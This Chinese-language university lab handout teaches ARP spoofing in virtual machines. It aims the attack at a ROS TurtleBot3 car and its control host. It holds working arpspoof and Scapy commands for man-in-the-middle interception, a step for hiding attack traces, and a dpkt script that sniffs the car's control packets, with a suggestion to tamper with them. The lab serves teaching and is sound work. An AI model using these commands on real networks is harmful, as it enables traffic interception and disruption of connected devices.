# ARP攻击
实验环境推荐:Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;
提升能力环境推荐:不同真机下的Linux虚拟机×2:Ubuntu 20.04或18.04或kali,被攻击机安装好ROS;
注意: 由于校园网的设备数量限制 ,真机连接校园网,多台虚拟机桥接模式下很可能无法上外网。虽然不影响arp攻击结果,只影响主机和网关通讯。但是仍然建议打开手机使用WiFi信号桥,或者使用流量,或者使用现成的路由器。
Arpspoof占领ARP表 ARP攻击概述
ARP全称Address Resolution Protocol(地址解析协议),用于在局域网中把IP地址通信转换成MAC地址通信。MAC地址是硬件地址,是物理网卡的编号地址,理论上具有惟一性。在Internet互联网中,访问一个网站要先进行DNS解析,把域名转换成IP,然后通过ARP协议,由IP找到MAC地址。
思考题Q1:为什么不能直接基于MAC地址通信?
为什么不直接使用MAC地址进行通信、为什么不直接使用IP地址通信_shen19960603的博客-CSDN博客
ARP在同个网段下的工作原理: 每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。当A主机要跟B主机通讯时,会首先检查自己 ARP列表中是否存在B的 IP地址对应的MAC地址,如果有,就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
例如:
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
根据上面的所讲的原理,我们简单说明这个过程:A要和B通讯,A就需要知道B的以太网地址,于是A发送一个ARP请求广播(Who is 192.168.10.2? tell 192.168.10.1),当B收到该广播,就检查自己,结果发现和自己的一致,然后就向A发送一个ARP单播应答(192.168.10.2 is at BB-BB-BB-BB-BB-BB)。
详见: ARP协议在同网段及跨网段下的工作原理_L.-CSDN博客_arp 跨网段
ARP攻击实施的依据 由于主机不加检测地将ARP响应数据包的内容添加到自己的ARP列表中,发送虚假的ARP响应数据包即可错误地引导数据传输。
使用arpspoof妨碍普通主机上网 了解基本原理之后,我们不加恶意地熟悉一下arpspoof工具。
Arpspoof是dsniff中的一个组件,因此使用它需要先下载dsniff:
下载完成后,执行arpspoof:
-i 用于选择网卡,-t选择目标。
实例: 准备 攻击前,查看攻击机、目标主机、网关的IP地址、MAC地址:
相互之间应该可以ping通,如果不可以,请设置桥接模式,然后检查编辑-虚拟网络编辑器-更改设置,将桥接模式的已桥接至改为自己的网卡。
主机名\参数名
IP地址
MAC地址
攻击机
10.21.174.17
00-0C-29-AE-75-24
目标主机
10.21.173.255
00-0C-29-1E-CF-38
网关
10.21.175.254
00-74-9C-7D-FC-93
1 2 3 sudo apt install wireshark-qt sudo wireshark
欺骗网关 1 2 arpspoof -t 10.21.175.254 10.21.173.255
攻击机和目标主机的wireshark中均显示(因为发给网关的包会广播给网段):
(注:此时打开真机上的wireshark,会发现广播包是10.21.173.255 is at 真机MAC地址)
真机:部分截图如下——
1 2 3 4 5 6 ping 同伴的真机IP地址 arp -a
思考题Q2:实际上,其他真机的arp列表中,目标主机的ip对应的是真机mac而非虚拟机攻击机的mac地址,这种情况下,如果想用虚拟机攻击其他真机,数据还能成功地导向攻击机吗?如果不能,应该怎样解决这个问题?
提示:出现问题的根本原因是欺骗网关失败,本应由网关发给攻击机的报文被发送到真机上。
如果能再arp欺骗真机,攻击机就能收到其他真实存在的主机的数据包了。
欺骗主机 1 2 $ arpspoof -t 10.21.173.255 10.21.175.254
目标主机:
IP转发 至此,我们已经成功阻塞了目标主机与网关之间的通讯,将它们之间的通讯数据包全部发送给攻击机。如果在攻击机上开启ip转发,即可将到达攻击机的报文重新正常发送给目标主机和网关:
1 2 3 $ sudo -i $ echo 1 > /proc/sys/net/ipv4/ip_forward
这样目标主机就能重新上网了,只是由于IP转发较慢,网速会有一定的影响。
思考题Q3:为什么要持续发送arp报文?
arp列表过几分钟就自动刷新掉了。可以直接arp -a观察一下,我电脑大概是2分钟。
使用arpspoof妨碍ROS小车和控制机通讯 接下来我们干扰同网段两机之间的通讯。
实例:
攻击前,查看攻击机、目标主机、小车的IP地址、MAC地址:
主机名\参数名
IP****地址
MAC****地址
攻击机
192.168.1.108
00-0C-29-AE-75-24
目标主机
192.168.1.106
00-0C-29-1E-CF-38
小车
192.168.1.102
/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 sudo wireshark sudo arpspoof -t 192.168.1.102 192.168.1.106 sudo arpspoof -t 192.168.1.106 192.168.1.102 sudo -i echo 1 > /proc/sys/net/ipv4/ip_forward roscore roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch sudo -i echo 0 > /proc/sys/net/ipv4/ip_forward
分析报文,判断使小车速度改变的数据包是哪个。
使用Scapy伪造ARP报文 Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。
由于Python语言的特性,它非常简单易学。不过arpspoof等一系列工具实际上是由winpcap或libpcap库编写的,也就是c/c++语言,如果希望提高效率可以在扩展阅读 中了解使用libpcap。
1 sudo apt install python3-scapy
伪造Arp报文 参考:【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)
Scapy和python的运行模式一样,可以import导入scapy,写成一个python文件,也可以输入scapy进入交互命令行。下面展示交互命令行,完整代码是作业。
通过自带的ARP()方法,构造一个arp报文pkt,使用show()方法可以查看报文的详细内容。参数含义已经在图片上标出,这些参数均是字符型。
我们可以自定义任意字段,例如修改源IP为10.11.71.254,目的IP为10.11.71.54,目的IP的网关可以不填,然后sr1()发送:
(注:这种发送ARP包的方式仍然会出现Q3的问题,有可能无法直接攻击其他真机)
发送前后10.11.71.54中的arp列表对比如下:
隐藏攻击痕迹 可以看到10.11.68.36也被添加到arp列表中了 ,这显然会暴露攻击意图,造成该现象的原因是没有自定义二次帧头,kali会先发送了广播报文去问谁是10.11.71.54 。为了避免这种现象的发生,我们可以通过pkt=Ether()/ARP()构造可以自定义二层帧头的报文,将二层帧头源MAC改成广播地址”ff:ff:ff:ff:ff:ff”(也可以改成别的):
攻击结果(这次没有10.11.68.36):
自行编写脚本实现完整的arp欺骗过程。
使用dpkt分析TCP报文 建立好arp欺骗后,我们用wireshark嗅探攻击机的网络,并保存为carMove.pcap,分析与目标主机相关的tcp报文。(也可直接在目标主机上嗅探)
Tips: 嗅探样例如附录一.2 所示。其中过滤条件” tcp.stream eq 5”对应的就是一次主机键盘控制小车移动的tcp连接到tcp断开的过程。
准备 分析报文可以使用python中的dpkt库 ,安装方式如下:
1 sudo apt install python3-dpkt
在TCP首部中有6个标志比特 。它们中的多个可同时被设置为1。
SYN 同步序号用来发起一个连接
ACK 确认序号有效
PSH 接收方应该尽快将这个报文段交给应用层
FIN 发端完成发送任务
RST 重建连接
URG 紧急指针有效
建立连接(三次握手):
有效通讯:
断开连接:
读取并过滤报文 以下是用到的模块和定义的全局变量。(之后的程序体均需要添加这些模块)
1 2 3 4 5 6 7 8 9 import dpkt import socket import collections import time file_path='/home/shen/carMove_2.pcap' burger_dst='192.168.1.102' pkt_len=52
用wireshark打开捕获的carMove.pcap,粗略观察可知,小车和主机的通讯基于TCP协议 。并且,主机键盘控制小车,是主机192.168.1.108向小车192.168.1.102 发送带非空负载数据 的报文。 基于上述三点,我们利用dpkt模块读取carMove.pcap并对报文进行过滤和分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def main () : f = open(file_path,'rb' ) try : pcap = dpkt.pcap.Reader(f) except : pcap = dpkt.pcapng.Reader(f) for (ts,buf) in pcap: try : eth = dpkt.ethernet.Ethernet(buf) if not isinstance(eth.data, dpkt.ip.IP): continue ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)): continue tcp = ip.data if not len(tcp.data): continue print("Length:%d" %len(tcp.data)) except Exception as err: print("[error] %s" % err) f.close() main()
运行结果如下:
结合wireshark观察可知,键盘控制的通讯过程是连续且较长的,并且有用的数据包对应的负载数据长度都是52,所以再取长度为52进行过滤。
将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print(“Data:%s”%tcp.data)的注释删去,打印传输层负载数据,再次运行结果如下:
为方便数据包的查找,以及适应python2版本,我们向程序中添加时间戳的输出 ,并增加python2版本的注释 。完整程序见附录一.2中tcp_3.py 。最终结果如下:
(wireshark中的数据)
至此,我们完成了捕获并分析目的TCP报文全过程。若希望干扰命令的正常运行,可结合pcap模块 边捕获边发送篡改后的报文。Tcp中的data段的16进制数据具体含义可通过篡改报文猜测。
扩展阅读 使用libpcap库截获报文 下载libpcap 库, 文件的格式为x.tar.gz。
http://www.tcpdump.org/release/
安装 1、解压文件到你的当前目录
2、进入刚才解开的libpcap目录,生成Makefile文件
【配置过程如果出现错误,请查看你是否安装了所有的依赖包bison, m4, flex以及libpcap-dev(安装方法 sudo apt install ****)】
3、将生成的库安装到系统默认目录中。此目录为 /usr/lib ,如果需要修改,可以修改文件Makefile 的 prefix。
使用 1、编译选项: gcc 源文件.c **-lpcap** .. -o 输出文件名
2、Warning不用管:
3、测试程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <pcap.h> #include <stdio.h> int main () { char errBuf[PCAP_ERRBUF_SIZE], * device; device = pcap_lookupdev(errBuf); if (device) { printf ("success: device: %s\n" , device); } else { printf ("error: %s\n" , errBuf); } return 0 ; }
4、测试程序运行结果:
附录1 可参考文档 1.1 ROS|⑦ARP攻击Turtlebot3汉堡Burger并解析移动报文 | 日暮天无云 (gitee.io)
1.2 arp-course: ARP攻击相关文件 (gitee.com)
1.3 【Python】使用scapy模块编写ARP欺骗脚本 - 云+社区 - 腾讯云 (tencent.com)
1.4【python】dpkt模块快速解析pcap_MK_夕阳的博客-CSDN博客
order.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 sudo wireshark sudo arpspoof -t 192.168.1.1 192.168.1.106 ping 192.168.1.102(其他) arp -a sudo arpspoof -t 192.168.1.106 192.168.1.1 sudo -i echo 1 > /proc/sys/net/ipv4/ip_forward sudo wireshark sudo arpspoof -t 192.168.1.102 192.168.1.106 sudo arpspoof -t 192.168.1.106 192.168.1.102 sudo -i echo 1 > /proc/sys/net/ipv4/ip_forward roscore roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch sudo -i echo 0 > /proc/sys/net/ipv4/ip_forward sudo scapy pkt=ARP() pkt.show() pkt.psrc=‘192.168.1.1’ pkt.pdst=‘192.168.1.105’ pkt.op=‘is-at‘ sr1(pkt) arp -a sudo scapy pkt=Ether()/ARP() pkt.show() pkt.psrc='192.168.1.1' pkt.pdst='192.168.1.105' pkt[Ether].dst='ff:ff:ff:ff:ff:ff' pkt.show() srp1(pkt) arp -a import dpkt import collections import time import socket file_path='/home/shen/carMove_2.pcap' burger_dst='192.168.1.102' pkt_len=52 def main(): f = open(file_path,'rb' ) try: pcap = dpkt.pcap.Reader(f) except: pcap = dpkt.pcapng.Reader(f) for (ts,buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) if not isinstance(eth.data, dpkt.ip.IP): continue ip = eth.data src = socket.inet_ntoa(ip.src) dst = socket.inet_ntoa(ip.dst) if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)): continue tcp = ip.data if not len(tcp.data): continue print ("Length:%d" %len(tcp.data)) except Exception as err: print ("[error] %s" % err) f.close() main()